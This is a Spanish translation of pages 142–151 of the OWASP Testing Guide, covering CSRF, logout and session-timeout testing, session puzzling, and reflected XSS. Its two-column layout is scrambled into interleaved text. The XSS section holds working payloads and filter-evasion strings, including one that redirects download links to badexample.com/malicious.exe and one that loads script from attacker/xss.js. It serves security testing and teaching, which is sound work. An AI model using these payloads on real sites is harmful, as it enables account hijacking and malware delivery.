Cómo probar
Para una prueba de Caja Negra, el evaluador debe conocer las direcciones
URL en el área restringida (autenticada). Si poseen credenciales válidas,
pueden asumir ambos roles – el de agresor y el de víctima. En este caso,
los evaluadores saben las URL a probar solo con hojear alrededor de la
aplicación.
Ahora, este no es el único escenario posible. El usuario podría haber

logrado los mismos resultados enviando manualmente la URL
De lo contrario, si los evaluadores no tienen credenciales válidas
disponibles, tienen que organizar un ataque real y así inducir a un usuario
https://[target]/fwmgt/delete?rule=* legitimamente registrado a seguir hacia el enlace apropiado. Esto puede
implicar un nivel substancial de ingeniería social.
De cualquier manera, un caso de prueba se puede construir de la

siguiente manera:
o siguiendo un enlace directamente o a través de una redirección a la URL
anterior, O, nuevamente, accediendo a un HTML con una etiqueta img
• Asumiendo que 'u' sea la URL a probar; por ejemplo, u =
integrada que apunte a la misma URL.
http://www.example.com/action
• Construya una página html que contenga la solicitud http que hace referencia
a la URL 'u' (especificando todos los parámetros relevantes; en el caso de una
En todos estos casos, si el usuario tiene iniciada una sesión en la
solicitud http GET esto es directo, mientras que para una solicitud POST
aplicación de administración del firewall, la petición tendrá éxito y
necesita recurrir a algunos Javascript);
modificará la configuración del firewall. Uno puede imaginar los ataques
contra aplicaciones sensibles y lograr hacer pujas u ofertas en subastas • Asegúrese de que el usuario se encuentra registrado en la aplicación;
automáticas, transferencias de dinero, órdenes, cambiar la configuración
de componentes de software crítico, etc. • Induzca al usuario a seguir el enlace apuntando a la URL a probar (involucre
ingeniería social si usted no puede suplantar al usuario);
• Observe el resultado, es decir, compruebe si el servidor web ejecuta la

Una cosa interesante es que estas vulnerabilidades pueden practicarse solicitud.
detrás de un firewall; es decir, es suficiente que el enlace atacado sea
accesible por parte de la víctima (no directamente por el atacante). En
particular, puede ser cualquier servidor de web de Intranet; por ejemplo,
la estación de administración del firewall mencionado anteriormente, que Pruebas de Caja Gris
es poco probable que sea expuesto a Internet. Imagine un ataque CSRF
dirigido a una aplicación de monitoreo de una planta de energía nuclear. Audite la aplicación para determinar si su gestión de sesión es vulnerable.
¿Suena poco probable? Puede ser, pero es una posibilidad. Si la gestión de sesiones se basa únicamente en los valores del lado del
cliente (información disponible para el navegador), entonces la aplicación
es vulnerable. "Valores del lado del cliente" significa cookies y
credenciales de autenticación de HTTP (autenticación básica y otras
Las aplicaciones autovulnerables, es decir, aplicaciones que se utilizan formas de autenticación HTTP, autenticación no basada en formularios,
tanto como vector de ataque como destino (por ejemplo, aplicaciones de que es una autenticación a nivel de aplicación). Para que una aplicación
correo web), empeoran las cosas. no sea vulnerable, debe incluir información relacionada con la sesión en
la URL, en una forma no identificable o impredecible para el usuario ([3]
Si una aplicación es vulnerable, el usuario está obviamente registrado utiliza el término secreto para hacer referencia a este dato).
cuando lee un mensaje que contiene un ataque CSRF, que puede apuntar a
la aplicación de correo web y tenerla realizando acciones como borrar
mensajes, enviar mensajes que aparecen como enviados por el usuario,
etc.

142
Los recursos accesibles a través de peticiones HTTP GET son fácilmente • No utilice el mismo navegador para acceder a aplicaciones sensibles y
vulnerables, aunque las peticiones POST se pueden automatizar vía para navegar libremente por Internet. Si es necesario, haga ambas cosas
Javascript y son vulnerables también, por lo tanto, el uso exclusivo de en la misma máquina y con distintos navegadores.
solicitudes POST no es suficiente para corregir la aparición de
vulnerabilidades CSRF.
Tanto el correo/navegador como los entornos de lector/navegador

integrados en HTML plantean riesgos adicionales, puesto que
Herramientas simplemente ver un mensaje de correo o un mensaje de noticias puede
conducir a la ejecución de un ataque.
• OWASP ZAP: owasp.org
• CSRF Tester: owasp.org

Desarrolladores
• Cross Site Requester: owasp.org
Agregue información relacionada a la sesión a la URL. Lo que hace posible
• Cross Frame Loader: owasp.org el ataque es el hecho de que la sesión es identificada como única por la
cookie, que se envía automáticamente por el navegador. Tener otra
• Pinata-csrf-tool: code.google.com información específica de la sesión que se genera a nivel de la URL
dificulta al atacante conocer la estructura de las URL a atacar.
Referencias
Otras defensas, mientras no resuelvan el problema, contribuyen a hacer
Libros Blancos
más difícil la explotación:
• Peter W: “Cross-Site Request Forgeries”: tux.org

• Usar solicitudes POST en vez de solicitudes GET. Puesto que las solicitudes
POST se pueden simular mediante JavaScript, esto hace que sea más complejo
• Thomas Schreiber: “Session Riding”: securenet.de
montar un ataque.
• Oldest known post: zope.org

• Lo mismo sucede con páginas de confirmación intermedias (tales como:
"¿está seguro que desea hacer esto?"). Estas pueden ser evitadas por un
• Cross-site Request Forgery FAQ: cgisecurity.com
atacante, aunque harán su trabajo un poco más complejo. Por lo tanto, no
dependa únicamente de estas medidas para proteger su aplicación.
• A Most-Neglected Fact About Cross Site Request Forgery (CSRF): yehg.net
• Los mecanismos de cierre automático de sesión mitigan, de alguna manera,

la exposición a estas vulnerabilidades, aunque en última instancia depende del
contexto (un usuario que trabaja todo el dia en una aplicación web bancaria
Remediación
vulnerable tiene obviamente un mayor riesgo que un usuario que utiliza la
misma aplicación ocasionalmente).
Las siguientes defensas se dividen entre las recomendaciones para los
usuarios y para los desarrolladores.
Actividades de seguridad relacionadas

Usuarios
Descripción de vulnerabilidades CSRF
Ya que las vulnerabilidades CSRF son, al parecer, generalizadas, se
Vea el artículo de OWASP sobre vulnerabilidades CSRF.
recomienda seguir las mejores prácticas para mitigar el riesgo. Algunas
acciones de mitigación son:
• Cierre la sesión inmediatamente después de usar una aplicación web.

Cómo evitar las vulnerabilidades CSRF
• No permita que el navegador guarde el nombre de usuario/contraseñas

Vea en la guía de desarrollo OWASP el artículo sobre cómo evitar las
y no permita que los sitios web "recuerden" la información de registro.
vulnerabilidades CSRF.

143
Cómo revisar el código de vulnerabilidades CSRF
Vea la guía de revisión de código de OWASP sobre cómo Revisar las A los usuarios de navegadores web a menudo no les importa que una
vulnerabilidades CSRF. aplicación está todavía abierta y simplemente cierran el navegador o la
pestaña. Una aplicación web debe considerar este comportamiento y
terminar la sesión automáticamente del lado del servidor después de un
tiempo definido.
Cómo prevenir vulnerabilidades CSRF
Vea la Hoja de Prevención de Trampas CSRF de OWASP para ver medidas

de prevención. El uso de un sistema de registro único (single sign-on ó SSO) en lugar de
un esquema de autenticación de aplicaciones específicas, a menudo causa
la coexistencia de múltiples sesiones que deben terminarse por separado.
Por ejemplo, la terminación de la sesión de la aplicación específica no
Pruebas de la funcionalidad del cierre de sesión (OTG-SESS-006) termina la sesión en el sistema SSO.
Resumen
El cierre de sesión es una parte importante del ciclo de vida de la sesión. Navegar de vuelta hacia el portal SSO ofrece al usuario la posibilidad de
Reducir al mínimo la vida útil de las fichas de sesión disminuye la volver a iniciar una sesión en la aplicación donde la sesión fue terminada
probabilidad de un ataque de secuestro de sesión exitoso. Esto puede poco antes. Por otro lado, una función de registro en un sistema SSO no
verse como un control contra la prevención de otros ataques como el necesariamente causa el cierre de sesión en las aplicaciones
Cross Site Scripting (CSS) o Cross Site Request Forgery (CSRF). Se conoce interconectadas.
que este tipo de ataques dependen de que un usuario tenga una sesión
autenticada en ese momento. No tener una terminación de sesión segura
sólo aumenta la superficie de ataque para cualquiera de estos ataques.
Cómo probar
Para probar la interfaz de cierre de sesión del usuario:

Una terminación de sesión segura requiere, por lo menos, de los
siguientes componentes: Verifique el aspecto y la visibilidad de la funcionalidad de la interfaz de
cierre de sesión del usuario. Para ello, vea cada página desde la
perspectiva de un usuario que tiene la intención de cerrar la sesión de la
aplicación web.
• La disponibilidad de controles de interfaz de usuario que permiten al usuario
desconectarse manualmente.
• La terminación de la sesión después de un período específico de tiempo sin Resultado esperado:

actividad (tiempo de caducidad de sesión).
Existen algunas propiedades que indican una buena interfaz de cierre de
• Una correcta anulación del estado de la sesión desde el servidor. sesión del usuario:
Hay múltiples cuestiones que pueden prevenir la terminación eficaz de • Un botón de cierre de sesión está presente en todas las páginas de la
una sesión. Para la seguridad ideal de la aplicación web, un usuario debe aplicación web.
ser capaz de terminar en cualquier momento a través de la interfaz de
usuario. Cada página debe contener un botón de cierre de sesión en un • El botón de cierre de sesión debe ser rápidamente identificable por un
lugar directamente visible. Las funciones de cierre de sesión confusas o usuario que quiere desconectarse de la aplicación web.
ambiguas podrían causar desconfianza en el usuario sobre dicha
funcionalidad. • Después de cargar una página, el botón de cierre de sesión debe ser visible
sin desplazamiento.
Otro error común en la terminación de la sesión es que en la ficha de
sesión del cliente se establece un nuevo valor, mientras que en el estado • Idealmente, el botón de cierre de sesión debe ubicarse en una zona fija
del servidor permanece activa y puede ser reutilizada restableciendo la dentro de la pantalla visible del navegador y no debe verse afectada por el
cookie de sesión al valor anterior. A veces sólo se muestra un mensaje de desplazamiento del contenido.
confirmación al usuario sin que tenga que realizar ninguna acción
adicional. Esto debe evitarse.
144
Para probar el cierre de sesión desde el servidor: El valor apropiado para el tiempo de caducidad de la sesión depende del
propósito de la aplicación y debe ser un equilibrio entre seguridad y
Primeramente, almacene los valores de las cookies que se utilizan para usabilidad. En las aplicaciones bancarias, no tiene sentido mantener una
identificar una sesión. Invoque la función de cierre de sesión del usuario y sesión inactiva más de quince minutos. Por otro lado, un tiempo corto de
observe el comportamiento de la aplicación, especialmente en relación espera en un wiki o un foro podría molestar a los usuarios que están
con las cookies de sesión. Intente navegar hacia una página que sólo es escribiendo artículos largos con solicitudes de registro innecesarias. Allí,
visible dentro de una sesión autenticada, por ejemplo, el uso del botón de los tiempos de espera de una hora o más pueden ser aceptables.
regresar del navegador.
Para probar el cierre de sesión en entornos de inicio de sesión únicos

Si se muestra una versión en caché de la página, utilice el botón de (single sign-off):
actualizar para refrescar la página desde el servidor. Y si la función de
cierre de sesión causa que las cookies se registren con un nuevo valor, Realice un cierre de sesión de la aplicación que está probando. Verifique
restaure el valor antiguo de las cookies de sesión y cargue una página de si hay un portal central o un directorio de la aplicación que le permita al
la zona autenticada de la aplicación. usuario reiniciar una sesión en la aplicación sin autenticación.
Si estas pruebas no muestran vulnerabilidades en alguna página en Compruebe si la aplicación solicita al usuario su autenticación; si solicita
particular, pruebe al menos algunas páginas más de la aplicación que se una dirección URL de un punto de entrada a la aplicación. Habiendo
consideran críticas para la seguridad, para garantizar que la terminación iniciado una sesión en la aplicación probada, realice un cierre de sesión
de la sesión es reconocida correctamente por estas áreas de la aplicación. en el sistema SSO. Intente acceder a un área autenticada de la aplicación
probada.
Resultado esperado:
Resultado esperado:
Ningún dato que debería ser visible únicamente por usuarios
autenticados debe ser visibles en las páginas examinadas al realizar las Se espera que la invocación de una función de cierre de sesión en una
pruebas. Idealmente, la aplicación debe redirigirse a una zona pública o a aplicación web conectada a un sistema SSO, o en el mismo sistema SSO,
un formulario de registro al acceder a áreas autenticadas después del cause el cierre global de todas las sesiones. Una autenticación del usuario
cierre de la sesión. No debería ser necesario para la seguridad de la debería ser necesaria para acceder a la aplicación después del cierre de la
aplicación, pero establecer nuevos valores para las cookies de sesión sesión en el sistema SSO y la aplicación conectada.
después de desconectarse es considerado como una buena práctica.
Herramientas
Pruebas de tiempo de caducidad de sesión:
• “Burp Suite - Repeater”: portswigger.net
Determine un tiempo de caducidad de sesión realizando solicitudes a una
página en el área de autenticación de la aplicación web con incremento de
los intervalos de tiempo. Si aparece un comportamiento de cierre de
sesión, el intervalo de tiempo usado coincide aproximadamente con el Referencias
valor del tiempo de caducidad de la sesión.
Libros Blancos
• “The FormsAuthentication.SignOut method does not prevent cookie reply attacks

Resultado esperado: in ASP.NET applications”: support.microsoft.com
Un cierre de sesión causado por inactividad dentro de un tiempo de • “Cookie replay attacks in ASP.NET when using forms authentication”:
caducidad debe tener los mismos resultados descritos anteriormente
vanstechelman.eu
para la prueba de terminación de sesión de servidor.
Pruebas del tiempo de cierre de sesión (OTG-SESS-007)

145
Resumen invalida la sesión del usuario actual y borra todos los datos almacenados
en el cliente.
En esta fase, los evaluadores comprueban que la aplicación cierra
automáticamente la sesión cuando un usuario ha permanecido inactivo
durante un cierto periodo de tiempo, asegurando que no se pueda
"reutilizar" la misma sesión y que ningún dato sensible permanezca Ambas acciones deben implementarse cuidadosamente, con el fin de
almacenado en la caché del navegador. evitar introducir debilidades que podrían ser aprovechadas por un
atacante para obtener acceso no autorizado si el usuario olvidó cerrar la
sesión desde la aplicación. Más específicamente, en cuanto a la función de
cierre de sesión, es importante asegurarse de que todas las fichas de
Todas las aplicaciones deben implementar un tiempo de cierre de sesión sesión (por ejemplo las cookies) sean destruidas o queden inservibles, y
por inactividad. Este tiempo de cierre define el período que una sesión se que se apliquen controles adecuados desde el lado del servidor para
mantendrá activa en caso de que no haya actividad por parte del usuario., evitar la reutilización de las fichas de sesión. Si estas acciones no se llevan
Cierre e invalide la sesión una vez excedido el período de inactividad a cabo correctamente, un atacante podría reproducir estas fichas de
definida desde la última petición HTTP recibida por la aplicación web sesión para "resucitar" la sesión de un usuario legítimo y hacerse pasar
para un determinado identificador de sesión. El tiempo de cierre más por él o ella (este ataque es generalmente conocido como 'cookie replay').
adecuado debe ser un equilibrio entre la seguridad (menor tiempo de Por supuesto, un factor atenuante es que el atacante debe ser capaz de
espera) y usabilidad (mayor tiempo de espera), y mucho depende del acceder a las fichas (que se almacenan en el navegador de la víctima),
nivel de sensibilidad de los datos manejados por la aplicación. pero, en varios casos, esto puede no ser particularmente difícil o
imposible.
Por ejemplo, un tiempo de cierre de sesión de 60 minutos para un foro

público puede ser aceptable, pero tanto tiempo sería demasiado en una El escenario más común para este tipo de ataque es un equipo público
aplicación de banca en casa (donde se recomienda un tiempo máximo de que sirve para acceder a información privada (por ejemplo, correo web,
cierre de quince minutos). En todo caso, cualquier aplicación que no cuenta bancaria en línea). Si el usuario se aleja de la computadora sin
impone un cierre de sesión basado en el tiempo de espera debe cerrar explicitamente la sesión y el tiempo de cierre de sesión no está
considerarse insegura, a menos que tal comportamiento sea exigido por implementado en la aplicación, entonces un atacante podría acceder a la
un requisito funcional específico. misma cuenta simplemente pulsando el botón "atrás" del navegador.
El tiempo de inactividad limita la ventana de oportunidad que un atacante Cómo probar

tiene para adivinar y usar un identificador de otro usuario. Bajo ciertas
circunstancias podría proteger a las computadoras públicas para que Prueba de Caja Negra
reutilicen una sesión válida. Sin embargo, si el atacante es capaz de
secuestrar una sesión determinada, el tiempo de inactividad no limita las Puede aplicarse el mismo enfoque de la sección de pruebas de
acciones del atacante, ya que puede generar periódicamente actividad funcionalidad de cierre de sesión (OTG-SESS-006) al medir el tiempo de
dentro de la sesión para mantenerla activa por períodos de tiempo más cierre de sesión.
largos.
La metodología de prueba es muy similar. En primer lugar, los
evaluadores tienen que comprobar si existe un tiempo de cierre, por
ejemplo, iniciando una sesión y esperando a que el cierre sesión se active.
La gestión de la caducidad y administración de tiempo de cierre de sesión Como en la función de cierre de sesión, después de transcurrido el tiempo
debe ser realizada obligatoriamente desde el lado del servidor si algunos de espera, todas las fichas de sesión deben ser destruidas o quedar
datos que se encuentran en control del cliente se utilizan para hacer inutilizables.
cumplir el tiempo de cierre de sesión. Por ejemplo, usando valores de
cookies u otros parámetros del cliente para hacer el seguimiento de las
referencias de tiempo (p. ej. el número de minutos desde la hora de
registro), un atacante podría manipular estos para extender la duración Entonces, si se configura el tiempo de cierre, los evaluadores necesitan
de la sesión. entender si el tiempo de cierre lo establece el cliente o el servidor (o
ambos). Si la cookie de sesión es no-persistente (o, de manera más
general, la cookie no guarda ninguna información sobre el tiempo), los
evaluadores pueden asumir que el tiempo de cierre se ejecuta en el
Como resultado, la aplicación tiene que medir el tiempo de inactividad en servidor.
el servidor y, una vez transcurrido el lapso de espera, automáticamente

146
Si la cookie contiene algún dato relacionado con el tiempo (por ejemplo, la Pruebas del Session puzzling (OTG-SESS-008)
hora de registro, o la última hora de acceso o la fecha de caducidad de una
cookie persistente), entonces es posible que el cliente tenga una Resumen
participación en el tiempo de cierre. En este caso, los evaluadores podrían
tratar de modificar la cookie (si no está criptograficamente protegida) y La sobrecarga de variables de sesión (también conocida como Session
ver qué pasa con la sesión. Por ejemplo, los evaluadores pueden Puzzling) es una vulnerabilidad al nivel de la aplicación que permite a un
establecer la fecha de caducidad de la cookie en un futuro lejano y ver si atacante realizar una variedad de acciones maliciosas que incluyen, pero
se puede prolongar el período de sesiones. no se limitan a:
Como regla general, debe comprobarse todo del lado del servidor y no • Esquivar los mecanismos de autenticación de la aplicación y hacerse pasar
debe ser posible, mediante la reconfiguración de las cookies de sesión a por usuarios legítimos.
los valores anteriores, acceder a la aplicación otra vez.
• Elevar los privilegios de una cuenta de usuario maliciosa, en un entorno que,
de lo contrario, sería considerado infalible.
Pruebas de Caja Gris • Saltarse las fases de calificación en los procesos de fases múltiples, incluso
si el proceso incluye todas las restricciones a nivel de código comúnmente
El evaluador debe verificar que: recomendadas.
• Manipular los valores del lado del servidor de forma indirecta para que no
puedan ser predichos o detectados.
• La función de cierre de sesión destruye eficazmente todas las fichas de
sesión, o por lo menos las inhabilita. • Ejecutar ataques tradicionales en lugares previamente inaccesibles, o incluso
que se consideran seguros.
• El servidor realiza los controles adecuados en el estado de la sesión,
impidiendo al atacante reproducir identificadores de sesión previamente
destruidos.
Esta vulnerabilidad se produce cuando una aplicación utiliza la misma
• El tiempo de cierre es establecido correctamente por el servidor. Si el variable de sesión para más de un propósito. Potencialmente un atacante
servidor utiliza un tiempo de expiración que se lee de una ficha de sesión que puede acceder a páginas en un orden no previsible por parte de los
es enviada por el cliente (aunque esto no es recomendable), entonces la ficha desarrolladores para que la variable de sesión se configure en un
debe estar criptográficamente protegida contra la manipulación. contexto y luego se utilice en otro.
Tome en cuenta que lo más importante es que la aplicación invalide la Por ejemplo, un atacante puede utilizar la sobrecarga de variables de
sesión en el servidor. Generalmente esto significa que el código debe sesión para eludir los mecanismos de autenticación de la aplicación, que
invocar los métodos apropiados, por ejemplo, HttpSession.invalidate() en garantizan la autenticación mediante la validación de la existencia de
Java y Session.abandon() en .NET. variables de sesión que contengan valores relacionados con la identidad,
que normalmente se almacenan en la sesión después de un proceso de
autenticación exitoso. Esto significa que, primero, un atacante tiene
acceso a una ubicación en la aplicación que establece el contexto de la
Borrar las cookies en el navegador es recomendable, pero no es sesión y, luego, accede a lugares privilegiados que examinan este
estrictamente necesario, ya que si bien se invalida la sesión en el servidor, contexto.
tener la cookie en el navegador no ayudará a un atacante.
Por ejemplo, un vector de ataque de evasión de autenticación podría ser

Referencias ejecutado mediante el ingreso a un punto de entrada de acceso público
(por ejemplo, una página de recuperación de contraseña) que rellena la
Recursos OWASP sesión con una variable de sesión idéntica, basada en valores fijos o en
información ingresada por un usuario.
• Session Management Cheat Sheet
Cómo probar
147
Prueba de Caja Negra scripting, inyección SQL, inyección de intérprete, ataques ataques
locale/Unicode, ataques al sistema de archivo y desbordamiento de búfer.
Esta vulnerabilidad puede ser detectada y explotada enumerando todas
las variables de sesión que utiliza la aplicación y elcontexto en el que son
válidas. En particular, esto es posible accediendo a una secuencia de
puntos de entrada y luego examinando los puntos de salida. En el caso de Nunca se debe confiar en los datos de una entidad externa o del cliente, ya
las pruebas de caja negra, este procedimiento es difícil y requiere algo de que pueden ser arbitrariamente adulterados por un atacante. "Todas las
suerte ya que cada secuencia diferente podría llevar a un resultado entradas son malignas", dice Michael Howard en su famoso libro "Writing
diferente. Secure Code" (Escribiendo Código Seguro). Esta es la regla número uno.
Lamentablemente, las aplicaciones más complejas a menudo tienen un
gran número de puntos de entrada, lo que hace difícil para que un
desarrollador haga cumplir esta regla. Este capítulo describe las pruebas
Ejemplos de validación de datos. Esta es la tarea de probar todas las formas
posibles de entrada para comprender si la aplicación valida lo suficiente
Un ejemplo muy simple podría ser la funcionalidad de restablecimiento el ingreso de datos antes de usarlos.
de contraseña que, en el punto de entrada, puede solicitar al usuario que
proporcione cierta información de identificación que podría ser el
nombre del usuario o la dirección de correo electrónico. Esta página
podría rellenar, entonces, la sesión con estos valores de identificación que Pruebas de la reflexión del Cross site scripting (OTG-INPVAL-001)
son recibidos directamente del lado del cliente u obtenidos de consultas o
cálculos basados en la información de entrada recibida. En este punto Resumen
pueden haber algunas páginas en la aplicación donde se muestran datos
privados basados en este objeto de sesión. De esta manera el atacante La reflexión del Cross-site Scripting (XSS) ocurre cuando un atacante
podría eludir el proceso de autenticación. inyecta un código ejecutable en el navegador, dentro de una sola
respuesta HTTP. El ataque inyectado no se almacena dentro de la
aplicación, es no-persistente y sólo afecta a los usuarios que abren una
página web de terceros o un vínculo diseñado con mala intención. La
Pruebas de Caja Gris cadena de ataque se incluye como parte del diseño de los parámetros URL
o HTTP, que se procesan incorrectamente por la aplicación y se
La forma más efectiva para detectar estas vulnerabilidades es a través de devuelven a la víctima.
una revisión del código fuente.
Las reflexiones de XSS son los tipos de ataque XSS más frecuentes
Referencias encontrados en la naturaleza. Los ataques de reflexión XSS también son
conocidos como ataques XSS no persistentes y, puesto que la carga de
Libros Blancos ataque es entregada y ejecutada mediante una sola solicitud y respuesta,
también se les conoce como XSS de primer orden o tipo 1.
• Session Puzzles: puzzlemall.googlecode.com
• Session Puzzling and Session Race Conditions:

Cuando una aplicación web es vulnerable a este tipo de ataques, esta
sectooladdict.blogspot.com pasará datos de entrada no validados mediante solicitudes al cliente. El
modus operandi común del ataque incluye un paso de diseño, en el que el
atacante crea y prueba una URI ofensiva; un paso de ingeniería social, en
el cual ella convence a sus víctimas para que carguen esta URI en sus
Remediación
navegadores y la eventual ejecución del código ofensivo utilizando el
Las variables de sesión deben ser utilizadas con una sola finalidad. navegador de la víctima.
Pruebas de validación de entradas Comúnmente, el código del intruso es escrito en el lenguaje Javascript,
pero también se utilizan otros lenguajes, por ejemplo, ActionScript y
La debilidad de seguridad de las aplicaciones web más común es el no VBScript. Los atacantes suelen aprovechar estas vulnerabilidades para
poder validar correctamente los datos de entrada que vienen del cliente o instalar registradores de claves, robar las cookies de la víctima, realizar
del medio ambiente antes de usarlo. Esta debilidad conduce a casi todas robos del portapapeles y cambiar el contenido de la página (por ejemplo,
las vulnerabilidades principales en aplicaciones web, tales como cross site enlaces de descarga).

148
Una de las principales dificultades en la prevención de vulnerabilidades [3] Para cada prueba de entrada intentada en la fase anterior, el
XSS es la correcta codificación de caracteres. En algunos casos, el servidor evaluador analiza el resultado y determina si representa una
web o la aplicación web podrían no estar filtrando algunas codificaciones vulnerabilidad que tiene un impacto realista en materia de seguridad de
de caracteres; así que, por ejemplo, la aplicación web puede filtrar y sacar la aplicación web. Esto requiere examinar la HTML de la página web
"<script>", pero podría no filtrar %3cscript%3e que simplemente incluye resultante, en busca de la información de entrada para la prueba. Una vez
otra codificación de etiquetas. encontrada, el evaluador identifica los caracteres especiales que no
fueron codificados correctamente, reemplazados o filtrados. El conjunto
de caracteres especiales vulnerables sin filtrar dependerán del contexto
de esa sección de HTML.
Cómo probar
Idealmente, todos los caracteres especiales de HTML se reemplazarán con
Prueba de Caja Negra entidades HTML. Las entidades HTML claves para identificar son:
Una prueba de caja negra incluye al menos tres fases:

> (greater than)
< (less than)

[1] Detecte vectores de entrada. Para cada página web, el evaluador debe
determinar todas las variables definidas por el usuario y cómo & (ampersand)
ingresarlas. Esto incluye entradas ocultas o no evidentes como
parámetros HTTP, datos POST, valores de formulario de campo oculto y ‘ (apostrophe or single quote)
valores predefinidos de radio o de selección. Por lo general, los editores
“ (double quote)
del navegador para HTML o los proxys web que se utilizan para ver estas
variables ocultas. Vea el ejemplo a continuación.
Sin embargo, una lista completa de entidades está definida por las
[2] Analice cada vector de entrada para detectar posibles especificaciones de HTML y XML. Wikipedia tiene una referencia
vulnerabilidades. Para la detección de una vulnerabilidad XSS, el completa [1].
evaluador suele utilizar datos de entrada especialmente diseñados con
cada vector de entrada. Estos datos de entrada son normalmente
inofensivos, pero desencadenan respuestas desde el navegador web que
manifiesta su vulnerabilidad. Los datos para pruebas pueden generarse En el framework de una acción de HTML o código JavaScript, un conjunto
utilizando un distorsionador de aplicaciones web, una lista automatizada diferente de caracteres especiales se necesitarán para escapar, codificar,
predefinida de cadenas de ataque conocidas o manualmente. reemplazar o filtrar. Estos caracteres incluyen:
\n (new line)
Algunos ejemplos de esta información de entrada son:
\r (carriage return)
\’ (apostrophe or single quote)

<script>alert(123)</script>
\” (double quote)
\\ (backslash)
\uXXXX (unicode values)

“><script>alert(document.cookie)</script>
Para una referencia más completa, consulte a la guía JavaScript de

Mozilla. [2]
Para tener una lista completa de posibles cadenas de prueba, vea el archivo
XSS Filter Evasion Cheat Sheet.
Ejemplo 1

149
Por ejemplo, consideremos un sitio que tiene un anuncio de bienvenida

"Bienvenido %username%" y un enlace de descarga. http://example.com/index.php?user=<script>window.onload =
function() {var AllLinks=document.getElementsByTagName(“a”);
AllLinks[0].href = “http://badexample.com/malicious.exe”; }</script>
Esto produce el siguiente comportamiento:
El evaluador debe sospechar que cada punto de entrada de datos puede

resultar en un ataque XSS. Para analizarlo, el evaluador jugará con las
variables del usuario y tratará de activar la vulnerabilidad.
Intente hacer clic en el siguiente enlace y vea qué pasa.
http://example.com/index.php?user=<script>alert(123)</script>
Si no se aplica una desinfección, esto resultará en la siguiente ventana

emergente:
Esto hará que el usuario, haciendo clic en el enlace suministrado por el
evaluador, pueda descargar el archivo malicious.exe desde un sitio
controlado por el evaluador.
Eludir filtros XSS
Los ataques de reflexión del Cross-site Scripting se previenen mientras la

aplicación web desinfecta la entrada de datos; una aplicación web de
firewall bloquea la entrada maliciosa, o mediante mecanismos integrados
en navegadores web modernos. El evaluador debe probar las
vulnerabilidades asumiendo que los navegadores web no impedirán el
Esto indica que existe una vulnerabilidad XSS y parece que el evaluador ataque. Los navegadores pueden estar desactualizados o con sus
puede ejecutar el código de su elección en cualquier navegador si éste características de seguridad incorporadas deshabilitadas. Del mismo
hace clic en el enlace del evaluador. modo, los firewalls de la aplicación web no garantizan poder reconocer
ataques nuevos y desconocidos. Un atacante podría crear una cadena de
ataque que es desconocida por la aplicación web del firewall.
Ejemplo 2
Pruebe otra pieza de código (enlace) La mayor parte de la prevención XSS depende de la desinfección de la
aplicación web de datos no confiables del usuario. Hay varios
mecanismos disponibles para que los desarrollaldores realicen la
desinfección, como devolver un error, quitar, codificar, sustituir datos de
entrada no válida. El modo por el cual la aplicación detecta y corrige la
entrada inválida es otra debilidad principal en la prevención de XSS. Una

150
lista negra podría no incluir todas las cadenas de ataque posibles, una
“><script >alert(document.cookie)</script >
lista blanca puede ser excesivamente permisiva, la desinfección puede
fallar o un tipo de entrada puede calificarse incorrectamente como
confiable y mantenerse sin desinfección. Todo esto permite a los
atacantes burlar los filtros XSS.
“><script >alert(document.cookie)</script >
Los apuntes de repaso de evasión de filtros XSS comúnmente filtran las

pruebas de evasión.
“%3cscript%3ealert(document.cookie)%3c/script%3e
Ejemplo 3: Etiquete el valor del atributo
Ya que estos filtros se basan en una lista negra, no pueden bloquear todos
los tipos de expresiones. De hecho, hay casos en que una explotación XSS
puede llevarse a cabo sin el uso de etiquetas <script> e incluso sin el uso
de caracteres tales como "< > y / que comúnmente se filtran. Ejemplo 5: Para evitar la filtración no-recurrente
A veces la desinfección se aplica sólo una vez y no se realiza de forma

recurrente. En este caso, el atacante puede vencer al filtro mediante el envío
Por ejemplo, la aplicación web puede utilizar el valor ingresado por el de una cadena que contiene múltiples intentos, como esta:
usuario para llenar un atributo, como se muestra en el siguiente código:
<scr<script>ipt>alert(document.cookie)</script>
<input type=”text” name=”state” value=”INPUT_FROM_USER”>
Ejemplo 6: Para incluir scripts externos
Entonces el atacante puede enviar el siguiente código: Ahora suponga que los desarrolladores del sitio objetivo implementaron el
siguiente código para proteger la entrada de la inclusión de script externo:
“ onfocus=”alert(document.cookie)
<?
$re = “/<script[^>]+src/i”;
Ejemplo 4: Diferente sintaxis o codificación if (preg_match($re, $_GET[‘var’]))
En algunos casos, es posible que los filtros basados en la firma pueden ser {
simplemente derrotados ofuscando el ataque. Por lo general, usted puede
hacer esto mediante la introducción de variaciones inesperadas en la sintaxis o echo “Filtered”;
en la codificación. Estas variaciones se toleran por parte de los navegadores
como HTML, válidos cuando se devuelve el código y, sin embargo, también return;
podrían ser aceptadas por el filtro.
}
echo “Welcome “.$_GET[‘var’].” !”;

A continuación algunos ejemplos:

151
En este escenario hay una expresión regular que verifica si<script

http://example/page.php?param=<script&param=>[...]</&param=scri
[cualquier cosa menos el carácter: ‘>’ ] src se ha insertado. Esto es útil
pt>
para filtrar expresiones como:
<script src=”http://attacker/xss.js”></script>
Resultado esperado
que es un ataque común. Pero, en este caso, es posible eludir la Vea los apuntes de repaso de evasión de filtros XSS para obtener una lista
desinfección usando el carácter ">" con un atributo entre script y src como más detallada de las técnicas de evasión de filtros. Por último, analizar las
este: respuestas puede ser complejo. Una manera simple de hacer esto es usar
un código que lance un cuadro de diálogo, como en nuestro ejemplo. Esto
normalmente indica que un atacante podría ejecutar un código JavaScript
http://example/?var=<SCRIPT%20a=”>”%20SRC=”http://attacker/xss arbitrario de su elección en los navegadores de los visitantes.
.js”></SCRIPT>
Las pruebas de Caja Gris son similares a las pruebas de Caja Negra. En las
Esto explotará la vulnerabilidad de reflexión del Cross-site Scripting
pruebas de Caja Gris, el evaluador de edición tiene un conocimiento
mostrada anteriormente, ejecutando el código JavaScript almacenado en el
parcial de la aplicación. En este caso, la información relativa a la entrada
servidor web del atacante como si se originara desde el sitio web de la
del usuario, los controles de validación de entrada y cómo se devuelve la
víctima, http://example/.
información ingresada por el usuario al mismo usuario, podrían ser
conocidos por el evaluador de edición.
Ejemplo 7: Contaminación del Parámetro HTTP (HTTP Parameter Si el código fuente está disponible (Caja Blanca), deben analizarse todas
Pollution (HPP)) las variables recibidas de los usuarios. Además, el evaluador debe
analizar los procedimientos de desinfección implementados para decidir
Otro método para eludir los filtros es la contaminación del parámetro si estos pueden ser eludidos.
HTTP. Esta técnica fue introducida por Stefano di Paola y Luca Carettoni
en el 2009, durante la Conferencia OWASP en Polonia. Vea la "prueba de
